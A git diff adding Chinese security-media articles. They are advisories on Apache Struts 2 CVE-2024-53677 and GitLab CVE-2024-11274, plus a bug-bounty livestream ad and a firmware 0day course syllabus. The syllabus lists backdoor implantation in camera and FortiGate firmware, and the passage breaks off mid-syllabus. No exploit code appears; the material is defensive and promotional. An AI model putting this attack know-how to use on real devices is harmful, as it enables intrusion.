任意文件上传漏洞(S2-067)(CVE-2024-53677).md @@ -0,0 +1,124 @@ +# 【漏洞通告】Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677) +深瞳漏洞实验室 深信服千里目安全技术中心 2024-12-12 08:34 + +![](https://mmbiz.qpic.cn/mmbiz_gif/w8NHw6tcQ5xm3DPYPJLuy84w4H10Zj0Slh14eN2wD5oCkzBqamaYbTKu3kRDiaNhOiaNy1rBrFVNozNPIxQay50Q/640?wx_fmt=gif&from=appmsg "") + +**漏洞名称：** + +Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677) + +**组件名称：** + +Apache Struts2 + +**影响范围：** + +2.0.0 ≤ Apache Struts 2 ≤ 2.3.372.5.0 ≤ Apache Struts 2 ≤ 2.5.336.0.0 ≤ Apache Struts 2 ≤ 6.3.0.2 + +**漏洞类型：** + +任意文件上传 + +**利用条件：** + +1、用户认证：不需要用户认证 + +2、前置条件：默认配置 + +3、触发方式：远程 + +**综合评价：** + +<综合评定利用难度>：容易，无需授权即可执行任意代码。 + +<综合评定威胁等级>：严重，能造成远程代码执行。 + +**官方解决方案：** + +已发布 + + + + + +**漏洞分析** + +![](https://mmbiz.qpic.cn/mmbiz_gif/w8NHw6tcQ5xm3DPYPJLuy84w4H10Zj0S11ADBUoHrAbIBWicwklkcxxoYukgQ6fnPTMqicjdUqg6QKL9cgLRtuicg/640?wx_fmt=gif&from=appmsg "") + +**组件介绍** + +Apache Struts 是一个免费的开源 MVC 框架，用于创建优雅的现代 Java Web 应用程序。它支持约定优于配置，可使用插件架构进行扩展，并附带支持 REST、AJAX 和 JSON 的插件。 + + +![](https://mmbiz.qpic.cn/mmbiz_gif/w8NHw6tcQ5xm3DPYPJLuy84w4H10Zj0S11ADBUoHrAbIBWicwklkcxxoYukgQ6fnPTMqicjdUqg6QKL9cgLRtuicg/640?wx_fmt=gif&from=appmsg "") + +**漏洞简介** + +2024年12月12日，深瞳漏洞实验室监测到一则Apache-Struts2组件存在任意文件上传漏洞的信息，漏洞编号：CVE-2024-53677，漏洞威胁等级：严重。 + +Apache Struts 2存在一个严重的文件上传导致远程代码执行漏洞S2-067，未经授权的**攻击者可以操纵文件上传参数来启用路径遍历，可导致上传可用于执行远程代码的恶意文件。** 注意：不使用FileUploadInterceptor模块的应用不受该漏洞影响。 + +**** + + +**影响范围** + +目前受影响的Apache Struts2版本： + +2.0.0 ≤ Apache Struts 2 ≤ 2.3.372.5.0 ≤ Apache Struts 2 ≤ 2.5.336.0.0 ≤ Apache Struts 2 ≤ 6.3.0.2 + + + +**解决方案** + +![](https://mmbiz.qpic.cn/mmbiz_gif/w8NHw6tcQ5xm3DPYPJLuy84w4H10Zj0S11ADBUoHrAbIBWicwklkcxxoYukgQ6fnPTMqicjdUqg6QKL9cgLRtuicg/640?wx_fmt=gif&from=appmsg "") + +**官方修复建议** + + +官方已发布最新版本修复该漏洞，建议受影响用户将Apache Struts 2更新到6.4.0及以上版本或将项目升级到最新的文件上传机制。 下载链接：https://struts.apache.org/download.cgi 文件上传机制迁移链接：https://struts.apache.org/core-developers/file-upload + +![](https://mmbiz.qpic.cn/mmbiz_gif/w8NHw6tcQ5xm3DPYPJLuy84w4H10Zj0S11ADBUoHrAbIBWicwklkcxxoYukgQ6fnPTMqicjdUqg6QKL9cgLRtuicg/640?wx_fmt=gif&from=appmsg "") + +**深信服解决方案** + + +**风险资产发现** + +支持对 Apache Struts2 的主动检测，可批量检出业务场景中该事件的**受影响资产**情况，相关产品如下： + +**【深信服主机安全检测响应平台CWPP】**已发布资产检测方案，指纹ID:0004960。 + +**【深信服云镜YJ】**已发布资产检测方案，指纹ID:0004960。 + + + +**参考链接** + + + +https://cwiki.apache.org/confluence/display/WW/S2-067 + + + +**时间轴** + + + +**2024/12/12** + +深瞳漏洞实验室监测到Apache Struts 2 任意文件上传漏洞信息。 + + +**2024/12/12** + +深瞳漏洞实验室发布漏洞通告。 + +点击**阅读原文**，及时关注并登录深信服**智安全平台**，可轻松查询漏洞相关解决方案。 + +![](https://mmbiz.qpic.cn/mmbiz_png/w8NHw6tcQ5yGqN7Vg9aTsAr8BYgwMZiaZ8CvTnszH6rcyVnqNqdnCHPCGDsic62Mricgl6icMv46ASPHPwXRND3Sibg/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/w8NHw6tcQ5zvcIHbwGGYKbqDVYsVKzNNia1jYtHf49C7133AlDXAgex2W4lFvpia56tjQQDkiauNBrl08YbxqG01A/640?wx_fmt=jpeg&from=appmsg "") + + diff --git a/doc/【漏洞通告】Apache Struts 2远程代码执行漏洞安全风险通告.md b/doc/【漏洞通告】Apache Struts 2远程代码执行漏洞安全风险通告.md new file mode 100644 index 00000000..06c35493 --- /dev/null +++ b/doc/【漏洞通告】Apache Struts 2远程代码执行漏洞安全风险通告.md @@ -0,0 +1,83 @@ +# 【漏洞通告】Apache Struts 2远程代码执行漏洞安全风险通告 + 嘉诚安全 2024-12-12 08:46 + +**漏洞背景** + + + + + + + + +近日，嘉诚安全监测到Apache Struts 2中存在一个远程代码执行漏洞，漏洞编号为： +CVE-2024-53677。 + + +Apache Struts 2是一个基于MVC设计模式的Web应用框架，可用于创建企业级Java web应用程序。 + + +鉴于漏洞危害较大，嘉诚安全提醒相关用户尽快更新至安全版本，避免引发漏洞相关的网络安全事件。 + + +**漏洞详情** + + + + + + + + +经研判，该漏洞为 +**高危** +漏洞 +。Apache Struts 2多个受影响版本中文件上传逻辑存在缺陷，由于在文件上传过程中对用户提供的参数缺乏严格校验，攻击者可以通过操纵文件上传参数执行路径遍历攻击，某些情况下可能导致将恶意文件上传到服务器上的其他位置，从而导致远程代码执行。 + + +**危害影响** + + + + + + + + +影响版本： + +Apache Struts 2.0.0 - 2.3.37 (EOL) + +Apache Struts 2.5.0 - 2.5.33 + +Apache Struts 6.0.0 - 6.3.0.2 + + +**处置建议** + + + + + + + + +目前该漏洞已经修复，受影响用户可将Apache Struts框架升级到6.4.0或更高版本，并在升级后迁移到新的文件上传机制（即使用Action File Upload Interceptor来处理文件上传），从而防止该漏洞。 + +下载链接： + +https://struts.apache.org/download.cgi + +注意：不使用FileUploadInterceptor模块的应用程序不受该漏洞影响。 + +参考链接： + +https://cwiki.apache.org/confluence/display/WW/S2-067 + +https://nvd.nist.gov/vuln/detail/CVE-2024-53677 + + +![](https://mmbiz.qpic.cn/mmbiz_png/1t8LLTibEW5NtxqlBL1HLib8jMO0PWtibWTWTFPOa3ND1lyaEQyBgp2fodg9A1XxvPjY7L6ILtK26MBGhofWE0ORw/640?wx_fmt=png&wx_ "") +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/sDiaO8GNKJrJnzIYoQAv2nF3pgKm4SgdFkzuniaicBHQxgSdu0U0xyYbNDOcNkDMWCjwJNwKnic9ASAhhxEpkFL6lg/640?wx_fmt=gif&wx_ "") + + diff --git a/doc/【漏洞通告】Apache Struts 2远程代码执行漏洞（CVE-2024-53677）.md b/doc/【漏洞通告】Apache Struts 2远程代码执行漏洞（CVE-2024-53677）.md new file mode 100644 index 00000000..a918eda9 --- /dev/null +++ b/doc/【漏洞通告】Apache Struts 2远程代码执行漏洞（CVE-2024-53677）.md @@ -0,0 +1,53 @@ +# 【漏洞通告】Apache Struts 2远程代码执行漏洞（CVE-2024-53677） + 启明星辰安全简讯 2024-12-12 07:56 + +**一、漏洞****概述** +
漏洞名称
   Apache Struts 2远程代码执行漏洞
CVE   ID
CVE-2024-53677
漏洞类型
路径遍历、文件上传
发现时间
2024-12-12
漏洞评分
9.5
漏洞等级
高危
攻击向量
网络
所需权限
无
利用难度
高
用户交互
无
PoC/EXP
未公开
在野利用
未发现
+Apache Struts 2是一个基于MVC设计模式的Web应用框架，可用于创建企业级Java web应用程序。 + +2024年12月12日，启明星辰集团VSRC监测到Apache Struts 2中存在一个远程代码执行漏洞（CVE-2024-53677），该漏洞的CVSS评分为9.5。 + +Apache Struts 2多个受影响版本中文件上传逻辑存在缺陷，由于在文件上传过程中对用户提供的参数缺乏严格校验，攻击者可以通过操纵文件上传参数执行路径遍历攻击，某些情况下可能导致将恶意文件上传到服务器上的其他位置，从而导致远程代码执行。 + +## 二、影响范围 + +Apache Struts 2.0.0 - 2.3.37 (EOL) + +Apache Struts 2.5.0 - 2.5.33 + +Apache Struts 6.0.0 - 6.3.0.2 + +## 三、安全措施 +### 3.1 升级版本 + +目前该漏洞已经修复，受影响用户可将Apache Struts框架升级到6.4.0或更高版本，并在升级后迁移到新的文件上传机制（即使用Action File +Upload Interceptor来处理文件上传），从而防止该漏洞。 + +下载链接： + +https://struts.apache.org/download.cgi + +注意：不使用FileUploadInterceptor模块的应用程序不受该漏洞影响。 +### 3.2 临时措施 + +暂无。 +### 3.3 通用建议 + +定期更新系统补丁，减少系统漏洞，提升服务器的安全性。 + +加强系统和网络的访问控制，修改防火墙策略，关闭非必要的应用端口或服务，减少将危险服务（如SSH、RDP等）暴露到公网，减少攻击面。 + +使用企业级安全产品，提升企业的网络安全性能。 + +加强系统用户和权限管理，启用多因素认证机制和最小权限原则，用户和软件权限应保持在最低限度。 + +启用强密码策略并设置为定期修改。 +### 3.4 参考链接 + +https://cwiki.apache.org/confluence/display/WW/S2-067 + +https://nvd.nist.gov/vuln/detail/CVE-2024-53677 + + + + diff --git a/doc/【漏洞通告】GitLab Kubernetes Proxy Response NEL头注入漏洞（CVE-2024-11274）.md b/doc/【漏洞通告】GitLab Kubernetes Proxy Response NEL头注入漏洞（CVE-2024-11274）.md new file mode 100644 index 00000000..46f29576 --- /dev/null +++ b/doc/【漏洞通告】GitLab Kubernetes Proxy Response NEL头注入漏洞（CVE-2024-11274）.md @@ -0,0 +1,51 @@ +# 【漏洞通告】GitLab Kubernetes Proxy Response NEL头注入漏洞（CVE-2024-11274） + 启明星辰安全简讯 2024-12-12 07:56 + +**一、漏洞****概述** +
漏洞名称
 GitLab +Kubernetes Proxy Response NEL头注入漏洞
CVE   ID
CVE-2024-11274
漏洞类型
注入、信息泄露
发现时间
2024-12-12
漏洞评分
8.7
漏洞等级
高危
攻击向量
网络
所需权限
无
利用难度
低
用户交互
无
PoC/EXP
未公开
在野利用
未发现
+GitLab是一个用于仓库管理系统的开源项目，其使用Git作为代码管理工具，可通过Web界面访问公开或私人项目。 + +2024年12月12日，启明星辰集团VSRC监测到GitLab社区版（CE）和企业版（EE）中存在Kubernetes Proxy Response NEL头注入漏洞（CVE-2024-11274），该漏洞的CVSS评分为8.7。 + +由于GitLab CE/EE中的Kubernetes代理功能未正确处理或验证注入的Network Error +Logging (NEL)头，攻击者可通过在 Kubernetes 代理响应中注入恶意NEL标头， 成功利用该漏洞可能导致会话相关数据泄露，这些数据可能被滥用来进行账户接管（ATO），从而实现未授权访问和控制用户账户。 + +## 二、影响范围 + +16.1 <= GitLab CE/EE < 17.4.6 + +17.5 <= GitLab CE/EE < 17.5.4 + +17.6 <= GitLab CE/EE < 17.6.2 + +## 三、安全措施 +### 3.1 升级版本 + +目前该漏洞已经修复，受影响用户可升级到GitLab CE/EE 17.6.2、17.5.4、17.4.6 或更高版本。 + +下载链接： + +https://about.gitlab.com/ +### 3.2 临时措施 + +暂无。 +### 3.3 通用建议 + +定期更新系统补丁，减少系统漏洞，提升服务器的安全性。 + +加强系统和网络的访问控制，修改防火墙策略，关闭非必要的应用端口或服务，减少将危险服务（如SSH、RDP等）暴露到公网，减少攻击面。 + +使用企业级安全产品，提升企业的网络安全性能。 + +加强系统用户和权限管理，启用多因素认证机制和最小权限原则，用户和软件权限应保持在最低限度。 + +启用强密码策略并设置为定期修改。 +### 3.4 参考链接 + +https://about.gitlab.com/releases/2024/12/11/patch-release-gitlab-17-6-2-released/ + +https://nvd.nist.gov/vuln/detail/CVE-2024-11274 + + + diff --git a/doc/【漏洞预警】Apache Struts 文件上传漏洞(CVE-2024-53677).md b/doc/【漏洞预警】Apache Struts 文件上传漏洞(CVE-2024-53677).md new file mode 100644 index 00000000..e3a67e8b --- /dev/null +++ b/doc/【漏洞预警】Apache Struts 文件上传漏洞(CVE-2024-53677).md @@ -0,0 +1,143 @@ +# 【漏洞预警】Apache Struts 文件上传漏洞(CVE-2024-53677) +原创 聚焦网络安全情报 安全聚 2024-12-12 13:14 + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/Icw1mW4eH3fGjq28SHy79SEcdRGT7ZsCxicdkcJevVicIVGdZBR0dYjze8G3YwUEkcH9WgQ1KhficepoIpSk64Atw/640?wx_fmt=gif&from=appmsg "") + + +**严** + +**重** + +**公** + +**告** + + + +近日，安全聚实验室监测到 Apache Struts 中存在文件上传漏洞 ，编号为：CVE-2024-53677，CVSS:9.5  此漏洞允许未经身份验证的攻击者可以操纵文件上传参数以启用路径遍历，这可能导致上传可用于执行远程代码执行的恶意文件。 + + +**01 漏洞描述** + + + +**VULNERABILITY DESC.** + + + + +Apache Struts 2 是一个基于 Java 的开源 Web 应用框架，广泛用于企业级 Java Web 应用的开发。它采用 MVC（模型-视图-控制器）架构，旨在简化 Web 应用程序的开发和维护。Struts 2 提供强大的表单处理、内置的标签库、国际化支持以及灵活的插件扩展机制，允许开发者快速构建动态和可扩展的应用程序。其核心功能包括易于配置的 Action 管理、高效的请求处理以及与现代前端技术的良好集成，使其成为构建复杂 Web 应用的理想选择。若Apache Struts代码中使用了FileUploadInterceptor，文件上传逻辑中存在漏洞，攻击者可以操纵文件上传参数以启用路径遍历，上传恶意文件。 + + +**02 影响范围** + + + +**IMPACT SCOPE** + + + + +2.0.0 <= Struts <= 2.3.37（EOL） + +2.5.0 <= Struts <= 2.5.33 + +6.0.0 <= Struts <= 6.3.0.2 + + +**03 安全措施** + + + +**SECURITY MEASURES** + + + + +目前厂商已发布可更新版本，建议用户尽快更新至 Apache Struts 的修复版本或更高的版本： + + +Struts > 2.3.37（EOL） + +Struts > 2.5.33 + +Struts > 6.3.0.2 + +下载链接： + +https://github.com/apache/struts/releases + + +**04 参考链接** + + + +**REFERENCE LINK** + + + + +1.https://github.com/apache/struts + +2.https://cwiki.apache.org/confluence/display/WW/S2-067 + + +**05 技术支持** + + + +**TECHNICAL SUPPORT** + + + + +长按识别二维码，关注 **"安全聚"** + 公众号！如有任何问题或需要帮助，随时联系我们的技术支持团队。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/Icw1mW4eH3fGjq28SHy79SEcdRGT7ZsCBTiaicF2ia4P7iaZMaM3OPbrLG64Lia2tjS9TrSyn4FOS5D2o1vIfCEf8Cw/640?wx_fmt=jpeg&from=appmsg "") + +**联系我们** + +微信号：SecGat + +关注安全聚，获取更多精彩文章。 + + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/Icw1mW4eH3fGjq28SHy79SEcdRGT7ZsCRtb8nIoYiadnGwptIJHdeGVOEEFuibuXZBhMvw8OmlsMJB7kG0zuazgA/640?wx_fmt=gif&from=appmsg "") + +**END** + + + + +**HISTORY** + +/ + +**往期推荐** + +[【漏洞预警 | 已复现】FOGPROJECT 文件名命令注入漏洞（CVE-2024-39914）](http://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486405&idx=1&sn=dfa7ce2bc783c81365d21815a76f39c7&chksm=c2295891f55ed187a1c520ff138341f0545969a30a8bd8b57fb8c3182e68a6cac2b42f0db546&scene=21#wechat_redirect) + + + +[](https://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486420&idx=3&sn=3bd4ad9b9aa9e27629eef92cc1a0e00e&scene=21#wechat_redirect) +[](https://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486484&idx=1&sn=3e0f106d2ce17f16075690444c6ad16d&scene=21#wechat_redirect) + +[【漏洞预警 | 已复现】Apache OFBiz远程代码执行漏洞（CVE-2024-38856）](https://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486484&idx=1&sn=3e0f106d2ce17f16075690444c6ad16d&scene=21#wechat_redirect) + +[](https://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486484&idx=1&sn=3e0f106d2ce17f16075690444c6ad16d&scene=21#wechat_redirect) + + + +[【漏洞预警 | 已复现】Splunk Enterprise 未授权任意文件读取漏洞（CVE-2024-36991）](http://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486420&idx=3&sn=3bd4ad9b9aa9e27629eef92cc1a0e00e&chksm=c2295880f55ed1964f7229ce709929430b9a56882028fa882a69bca86e0c0bac01fde5de06bb&scene=21#wechat_redirect) + + + +[【漏洞预警 | 已复现】Rejetto HTTP File Server 模板注入漏洞（CVE-2024-23692）](http://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486420&idx=2&sn=6c8f1e5428b1c3713ad1aa32231c1de8&chksm=c2295880f55ed1961e9c9e36cc89c9e1c4377ce7b755e3c85b5475fc8a97dcfbe0d68db96264&scene=21#wechat_redirect) + + + + diff --git a/doc/中国网数中心和国家邮政局领导赴启明星辰集团调研交流.md b/doc/中国网数中心和国家邮政局领导赴启明星辰集团调研交流.md new file mode 100644 index 00000000..c3c959a0 --- /dev/null +++ b/doc/中国网数中心和国家邮政局领导赴启明星辰集团调研交流.md @@ -0,0 +1,29 @@ +# 中国网数中心和国家邮政局领导赴启明星辰集团调研交流 + 启明星辰网络空间安全教育 2024-12-12 10:03 + +![](https://mmbiz.qpic.cn/mmbiz_gif/YWPmbQ0hXupDrHAfRl5HlrrXtBNhtT55iaHQVVZv0TXUTBJLXYicPTB1flRjrDVzH1zeUZribdcJliayM5xq5QwUfg/640?wx_fmt=gif&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/YWPmbQ0hXurkgfwwksr4iadnKK1GjMthcPUuTs9ibmFOQ9NdblrzIBVMR7eO39SPtVib0d6HOhN85hJ7fAaZykTXg/640?wx_fmt=jpeg&from=appmsg "") + + +**往期回顾** + + + + + +[【专业引领未来】知白学院AI+安全实训平台，实战型网信安全人才能力提升的新引擎！](https://mp.weixin.qq.com/s?__biz=MzUzNDg0NTc1NA==&mid=2247510361&idx=1&sn=f4dabe282fa9e091f01674607bae05b4&scene=21#wechat_redirect) + + +[国家级科技荣誉+1！启明星辰知白学院网络安全实战化人才教育实训系统斩获“中国好技术”称号](https://mp.weixin.qq.com/s?__biz=MzUzNDg0NTc1NA==&mid=2247510352&idx=1&sn=4e935b92c4673fe4e159848fa5621180&scene=21#wechat_redirect) + + + +**关于知白学院** + +**ABOUT** + +” + +知白学院是启明星辰集团旗下专注网信安全人才培养的教育培训品牌，启明星辰是中国移动专责网信安全子公司。知白学院自1996年创立伊始，致力于构建专业有效的网信安全人才培养体系，为用户提供专业认证培训、产教融合、攻防竞赛、网络安全宣传、赛事支撑、人才运营等服务和一体化网信安全人才与知识解决方案。 + diff --git a/doc/单洞赏金1万美刀的漏洞思路分享| 玲珑安全帮会直播.md b/doc/单洞赏金1万美刀的漏洞思路分享| 玲珑安全帮会直播.md new file mode 100644 index 00000000..1bf3746e --- /dev/null +++ b/doc/单洞赏金1万美刀的漏洞思路分享| 玲珑安全帮会直播.md @@ -0,0 +1,79 @@ +# 单洞赏金1万美刀的漏洞思路分享| 玲珑安全帮会直播 +FreeBuf知识大陆 FreeBuf 2024-12-12 10:54 + +![](https://mmbiz.qpic.cn/mmbiz_gif/qq5rfBadR38jUokdlWSNlAjmEsO1rzv3srXShFRuTKBGDwkj4gvYy34iajd6zQiaKl77Wsy9mjC0xBCRg0YgDIWg/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + +**直播来啦！** + +![](https://mmbiz.qpic.cn/mmbiz_png/qq5rfBadR39Ma35VvsOHD96fxtxgP1D5cDfkr81H3MkVD5B4Hiackelf2KLMBq02xLCib5iczuZKiav7FNEic4KuOxw/640?wx_fmt=png&from=appmsg "") + + + + +国内挖洞日益内卷压力大？ + +想挖海外SRC却不知从何下手？ + +语言障碍、思路差异以及不熟悉的海外平台规则频频成为挑战美金的阻碍？ + +有问题！咱不怕！咱们请到了老师傅带带咱！ + +O(∩_∩)O~ + + +FreeBuf请来了我们的重磅嘉宾 + +**玲珑安全学员：Reclu3a** + +为我们揭开海外SRC的神秘面纱！ + + +**Reclu3a**，仅用了3个月的时间，0帧起手斩获Hackerone后起之秀排名前10，总榜美区前20的好成绩！截止目前到账赏金6万美刀！约40万+人民币！单洞最高赏金1万美刀！ + +![](https://mmbiz.qpic.cn/mmbiz_png/qq5rfBadR39Ma35VvsOHD96fxtxgP1D5DCtsPuoty3ZSY3aAkrteuNysFSM9jTT0Gfz3VneM4JfQNU4aNgECrA/640?wx_fmt=png&from=appmsg "") + +reclu3a赏金截图（部分赏金未到账） + +![](https://mmbiz.qpic.cn/mmbiz_png/qq5rfBadR39Ma35VvsOHD96fxtxgP1D5rZaPpib2Xuyicqvr8O4ICQwoWVOIZEVAK8yPiaYwFl6BOqahJw0fRB32Q/640?wx_fmt=png&from=appmsg "") + +单洞赏金1万美刀！ + +直播大纲    +   + + 1、3个月，从0到40万赏金，我是如何实现从国内成功转战海外的？ + + 2、海外SSRF案例分享； + + 3、文件读取案例； + + 4、敏感信息泄露案例； + + 5、GraphQL越权案例； + + 6、1万美刀的漏洞思路； + + 7、学员问题答疑； + + + + + +本次直播分享3小时 + +如果你对海外漏洞感兴趣 + +有疑惑 没方向 + +那这次直播你一定不能错过！ + +还等什么呢？ + +赶紧预约上车呀！ + + +![](https://mmbiz.qpic.cn/mmbiz_png/qq5rfBadR39Ma35VvsOHD96fxtxgP1D5Z40ibvYAWmuZOM8cO5gzujVhxic3Q5MG763eumtdRPtwNYmtOwNcXibjA/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_gif/qq5rfBadR3icF8RMnJbsqatMibR6OicVrUDaz0fyxNtBDpPlLfibJZILzHQcwaKkb4ia57xAShIJfQ54HjOG1oPXBew/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + diff --git a/doc/即将开班！​“系统0day安全”系列课程：掌握漏洞挖掘重要技能.md b/doc/即将开班！​“系统0day安全”系列课程：掌握漏洞挖掘重要技能.md new file mode 100644 index 00000000..84056050 --- /dev/null +++ b/doc/即将开班！​“系统0day安全”系列课程：掌握漏洞挖掘重要技能.md @@ -0,0 +1,1294 @@ +# 即将开班！​“系统0day安全”系列课程：掌握漏洞挖掘重要技能 +看雪课程 看雪学苑 2024-12-12 10:01 + +数字化时代，系统漏洞如同隐形的威胁，潜伏在企业网络的每个角落。0day漏洞的发现与利用，已成为黑客攻击的主要手段，给企业安全带来巨大的威胁和挑战。 + + +我们特别推出了 +**“系统0day安全”系列课程，**本系列课程将深入挖掘企业级网络设备、IOT设备及Windows平台的固件漏洞，培养您掌握二进制漏洞攻防的核心技能，助您在网络安全领域中游刃有余，有效防范未知威胁。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibAGMYaTFey7kLE8s8J8RibcfYSx3ZMF82KOCzKxWkqE9SBX5ibmicLUT3g/640?wx_fmt=png&from=appmsg "") + +**·系统0day安全-系列课程·** + +![](https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iaajvl7fD4ZCicMcjhXMp1v6UibM134tIsO1j5yqHyNhh9arj090oAL7zGhRJRq6cFqFOlDZMleLl4pw/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibicvVumEAtfUlgP9LlbuWO6trfpetV4lzTOM81XibzznNaa4Caah83iaDg/640?wx_fmt=jpeg&from=appmsg "") + +**¥21000** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibYia5ic8AdIpaKFicNzfdRBia3KN3bymwTEaETUVn2RXHLvyg8jJsmxnIug/640?wx_fmt=jpeg&from=appmsg "") + +**¥15000** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibAics6eonjwIicuYwpmI6nmGsYQSrT0tPVTicwHYpx5iaJj6LkhrgHx02LA/640?wx_fmt=jpeg&from=appmsg "") + +**¥15000** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibugdVXf4EBJNf0tMqDicf1uPSfRKicTAaeV1GYXV8AWgibeXZ3aIF6wKbQ/640?wx_fmt=jpeg&from=appmsg "") + +**¥15000** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibCoSQvujrcGQweKZGOPJYaBe1iaLTta2ND20KE9UfXiaEIYZXbXJDF7yw/640?wx_fmt=gif&from=appmsg "") + + +**一、系统0day安全-企业级网络设备固件漏洞挖掘（第7期）** + + +近些年来不论是HVV行动还是各种红蓝对抗中，边界设备或者企业级网络设备被当作是进入内网的最快目标，因此对于这些类型的设备安全问题开始越来越被广泛关注，掌握此类设备的漏洞挖掘方法和渗透思路能够能提升你的实战技能并让你你在实战对抗中更加游刃有余。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibicvVumEAtfUlgP9LlbuWO6trfpetV4lzTOM81XibzznNaa4Caah83iaDg/640?wx_fmt=jpeg&from=appmsg "") + +限时优惠：¥21000 + +深入探索IoT/网络设备漏洞挖掘的奥秘 + + +**·** + + +**课程简介** + + +本课程专注于IoT和企业级网络设备固件漏洞分析与挖掘。由 +资深安全专家H4lo讲师授课，课程结合丰富的实战经验和深入的技术分析，旨在全面提升学员在设备固件漏洞挖掘方面的能力。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibW3jLHicZLesaWahTIe1TQ4Pc9VKWNsVu4uPBJ8rFCvjZtK4qwl9WLCA/640?wx_fmt=png&from=appmsg "") + + +课程内容涵盖了**固件安全基础、固件/镜像获取与处理、固件加密/解密、固件仿真与调试、漏洞挖掘与分析**等多个方面。通过对**各类嵌入式设备、网络设备、边界安全设备**等的**漏洞挖掘基础、方法、技巧和思路**的全方位介绍，课程帮助学员掌握企业级网络设备的逆向分析方法，提升个人竞争力。 + + + +**·** + + +**讲师介绍：H4lo（ID）** + + +专注IoT/网络设备漏洞方向挖掘，发现多个知名厂商的严重设备固件安全漏洞，涵盖   Cisco、Fortinet、Netgear、Draytek、Sonicwall 等品牌，在天网杯、强网拟态、补天杯等漏洞破解赛中取得优异成绩，Geekpwn   2020/2021名人堂。 + + + +**·** + + +**课程目录（上下滑动查看）** + + +**第一章 固件安全基础** + +本章节介绍固件安全的基础概念以及针对固件漏洞挖掘需准备的一些基本环境的安装和使用。 + + +1.1固件安全概述 + +介绍固件安全的内容以及固件安全研究的范畴 + + +1.2固件/镜像定义和介绍 + +固件和镜像的基本概念介绍，以及运行的环境、原理等做一个综述。如针对固件中，linux内核操作系统的固件和RTOS操作系统的固件分别做一些简单的介绍（从内核、操作系统、逆向分析角度） + +针对镜像中，分别对ISO格式、ova/ovf格式的镜像做一下简单的介绍。 + + +1.3软件环境准备 + +本机准备的一些软件环境，以及外部硬件设备、软硬件工具等准备。 + +1.3.1软件环境安装 + +binwalk、gdb、交叉编译buildroot等软件环境的安装。 + +1.3.2交叉编译介绍和编译 + +交叉编译中uclibc、uclibc-ng等的介绍 + + +1.4硬件环境准备 + +1.4.1基本硬件工具使用 + +电烙铁、热风枪、编程器等工具的准备和使用。 + +1.4.2硬件调试口使用 + +UART、JTAG、SWD调试口的判断和使用 + + +**第二章 固件/镜像获取与处理** + +本章节介绍漏洞研究环境或者固件/镜像的获取以及处理方法。 + + +2.1固件/镜像环境获取 + +介绍如何获取漏洞挖掘环境，以及一些技巧 + +包括官网下载、第三方市场购买、云市场下载、抓取升级包、硬件提取等方法 + +2.1.1固件/镜像获取的几种方法 + +介绍常规的思路获取环境的几种方法 + +案例：官网下载、第三方市场购买、云市场下载、抓取升级包 + +2.1.2硬件方式提取固件 + +介绍如何从硬件中提取固件和镜像 + +案例1：sop8、tsop8芯片的固件提取 + +案例2：emmc、sop48芯片的固件提取 + +案例3：UART调试口获取固件 + + +2.2固件/镜像的解压 + +介绍如何使用binwalk进行固件解压以及从镜像中如何提取出待分析的二进制、脚本文件 + +2.2.1常规方式固件提取 + +介绍binwalk -e一把梭固件提取的方法 + +案例1：常规的squashfs文件系统固件 + +2.2.2镜像磁盘挂载文件提取 + +案例2：ext3/ext4镜像挂载磁盘提取固件 + +2.2.3其他案例 + +案例3：vxwork固件程序提取 + + +2.3固件/镜像分析 + +介绍拿到解压处理的环境之后，如何进行分析以及一些相关技巧 + +2.3.1镜像常见架构分析 + +如底层用的是什么操作系统（freebsd/centos等）、Bios、内核启动方式，主程序服务启动的方式等 + +2.3.2固件信息分析 + +介绍分析二进制和脚本代码的整体分析思路和分析步骤 + +全局代码分析、敏感功能点审计 + +2.3.3固件修改和重打包 + +介绍如何通过修改固件的方式，获得固件的底层shell权限等。包括不同类型的固件、镜像如何重打包 + +案例1：乔安摄像头固件后门植入 + +案例2：fortigate固件后门植入 + + +**第三章 固件加密/解密与通信加解密** + +3.1常见固件加密方式 + +介绍常见的几种固件加密手段和方法 + +3.1.1简单混淆加密 + +对固件头、固件签名等进行魔改 + +3.1.2版本迭代加密 + +Dlink设备的版本迭代加密方式，即由非加密转变到加密过程的步骤解密。 + +3.1.3密钥加密 + +对称加密和非对称加密的固件加密方式 + +案例1：天融信topacm oem方式的aes加密 + + +3.2固件解密思路 + 